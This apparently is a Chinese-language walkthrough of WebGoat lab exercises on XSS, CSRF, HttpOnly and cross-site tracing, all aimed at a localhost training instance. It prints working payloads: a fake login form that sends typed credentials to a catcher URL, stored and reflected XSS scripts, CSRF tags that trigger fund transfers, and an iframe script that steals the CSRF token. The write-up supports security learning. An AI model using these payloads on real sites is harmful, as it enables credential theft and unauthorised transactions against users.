Phishing Title 钓鱼登陆框引入
1
</form > <script > function hack ( ) { XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document .phish.user.value + "&password=" + document .phish.pass.value + "" ; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document .phish.user.value + "Password = " + document .phish.pass.value);} </script > <form name ="phish" > <br > <br > <HR > <H3 > This feature requires account login:</H3 > <br > <br > Enter Username:<br > <input type ="text" name ="user" > <br > Enter Password:<br > <input type ="password" name = "pass" > <br > <input type ="submit" name ="login" value ="login" onclick ="hack()" > </form > <br > <br > <HR >
整理一下http://localhost:8080/WebGoat/catcher?PROPERTY=yes 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</form >
<script >
function hack () {
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document .phish.user.value + "&password=" + document .phish.pass.value + "" ;
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document .phish.user.value + "Password = " + document .phish.pass.value);}
</script >
<form name ="phish" >
<br > <br > <HR >
<H3 > This feature requires account login:</H3 >
<br > <br > Enter Username:<br > <input type ="text" name ="user" > <br >
Enter Password:<br > <input type ="password" name = "pass" > <br >
<input type ="submit" name ="login" value ="login" onclick ="hack()" >
</form >
<br > <br > <HR >
用 image 请求绕过同源策略。
Stored XSS Attacks 最简单的存储型 XSS。
1
<script language ="javascript" type ="text/javascript" > alert("Ha Ha Ha" ); </script >
Reflected XSS Attacks 反射型 XSS
1
<script > alert('XSS' ) </script >
Cross Site Request Forgery (CSRF) 跨站伪造请求攻击的根本原因是同一个浏览器同时打开两个链接。网页中所有手动发起的请求操作,其实质是通过HTML+JavaScript向服务器发起请求。
1
<img src ="attack?Screen=278&menu=900&transferFunds=5000" >
CSRF Prompt By-Pass CSRF 恶意行为的进一步构造
1
2
3
4
<img src ="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=5000" onerror ="document.getElementById('image2').src='http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=CONFIRM';"
width ="1" height ="1" />
<img id ="image2" width ="1" height ="1" />
CSRF Token By-Pass 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script >
var tokensuffix;
function readFrame1 ()
{
var frameDoc = document .getElementById("frame1" ).contentDocument;
var form = frameDoc.getElementsByTagName("form" )[0 ];
tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
loadFrame2();
}
function loadFrame2 ()
{
var testFrame = document .getElementById("frame2" );
testFrame.src="http://localhost:8080/WebGoat/attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
}
</script >
<iframe src ="http://localhost:8080/WebGoat/attack?Screen=273&menu=900&transferFunds=main"
onload ="readFrame1();"
id ="frame1" frameborder ="1" marginwidth ="0"
marginheight ="0" width ="800" scrolling =yes height ="300" > </iframe >
<iframe id ="frame2" frameborder ="1" marginwidth ="0"
marginheight ="0" width ="800" scrolling =yes height ="300" > </iframe >
通过 DOM 操作 iframe 中获取到的页面,获取 CSRF Token,再重新构造请求即可。
HTTP Only HTTPOnly是为了防止跨站脚本攻击的,一般跨站脚本攻击是为了偷cookie,而HTTPOnly是微软为cookie增加的一个属性值。如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,也无法改写cookie信息。这节课程就是用来熟悉HTTPOnly的。
分别选择是否打开HTTPOnly属性,在打开和不打开HTTPOnly属性的情况下,分别选择读这两个cookie和改写这两个cookie。 可以看到,在没开HTTPOnly属性的时候,这两个cookie均可以被读取和被改写。开了HTTPOnly的时候,前一个cookie就不能被读取和被改写了。
Cross Site Tracing Attacks (XST) 这节讲跨站跟踪攻击。HTTP方法包括:HEAD、GET、POST、TRACE、PUT、DELETE等。tomact支持HTTP TRACE命令。 XST攻击描述:攻击者将恶意代码嵌入一台已经被控制的主机上的web文件,当访问者浏览时恶意代码在浏览器中执行,然后访问者的cookie、http基本验证以及html验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致cookie欺骗或者是中间人攻击。 XST攻击条件:
需要目标web服务器允许Trace参数;
需要一个用来插入XST代码的地方;
目标站点存在跨域漏洞。
1
2
3
4
5
6
7
8
9
10
<script type="text/javascript" >
if ( navigator.appName.indexOf("Microsoft" ) !=-1 )
{ var xmlHttp = newActiveXObject("Microsoft.XMLHTTP" );
xmlHttp.open("TRACE " , "./" , false);
xmlHttp.send();
str1=xmlHttp.responseText;
while (str1.indexOf("\n" ) > -1 ) str1 = str1.replace("\n" ,"<br>" );
document.write(str1);
}
</script>
参考资料 [1] Webgoat之XSS